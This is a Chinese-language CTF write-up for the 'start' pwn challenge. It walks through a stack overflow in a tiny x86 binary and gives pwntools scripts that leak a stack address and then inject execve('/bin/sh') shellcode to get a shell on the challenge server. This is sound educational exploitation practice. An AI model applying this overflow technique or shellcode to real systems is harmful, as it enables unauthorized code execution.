题目如下:
public _start _start proc near ; DATA XREF: LOAD:08048018↑o push esp push offset _exit xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push 3A465443h push 20656874h push 20747261h push 74732073h push 2774654Ch mov ecx, esp ; addr mov dl, 14h ; len mov bl, 1 ; fd mov al, 4 int 80h ; LINUX - sys_write xor ebx, ebx mov dl, 3Ch ; '<' mov al, 3 int 80h ; LINUX - add esp, 14h retn _start endp ; sp-analysis failed
从头看,首先push esp
、push exit的地址
,再push 20个字符
,然后调用write()
函数输出0x14(也就是20个字符)。
然后给al赋值为3,即需要查看系统调用号3对应的功能,查资料可知为read()
。
又因为dl赋值为0x3C(即60),所以可以输入长度≤60的payload。
分析后可得知,可以让返回地址先跳到mov bl, 1
处,让其往下执行泄露处栈地址,可再执行一遍写入的功能,这时写shell,然后再让其返回到shell的位置即可。
泄露栈地址:
from pwn import * elf = ELF('./start') local = 1 if local == 1: io = process('./start') gdb.attach(io) else: io = remote('pwn.challenge.ctf.show',28101) payload = 'a'*(0x14)+p32(0x804808B) io.send(payload) io.recvuntil('a'*0x14) io.recv(4) stack = u32(io.recv(4)) log.success("stack:"+hex(stack)) io.interactive()
找溢出点:
io.sendline(cyclic(60))
当前可控输入点的开头地址和栈地址相差0x1C,可控输入点是动态的,但是和栈的距离是不变的。写shell然后返回到可控输入点开头地址就可以得到flag。
from pwn import * elf = ELF('./start') local = 0 if local == 1: io = process('./start') gdb.attach(io) else: io = remote('node4.buuoj.cn',27722) payload = 'a'*(0x14)+p32(0x804808B) io.send(payload) io.recvuntil('a'*0x14) io.recv(4) stack = u32(io.recv(4)) log.success("stack:"+hex(stack)) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+'a'*(44-28)+p32(stack-0x1c) io.sendline(shellcode) io.interactive()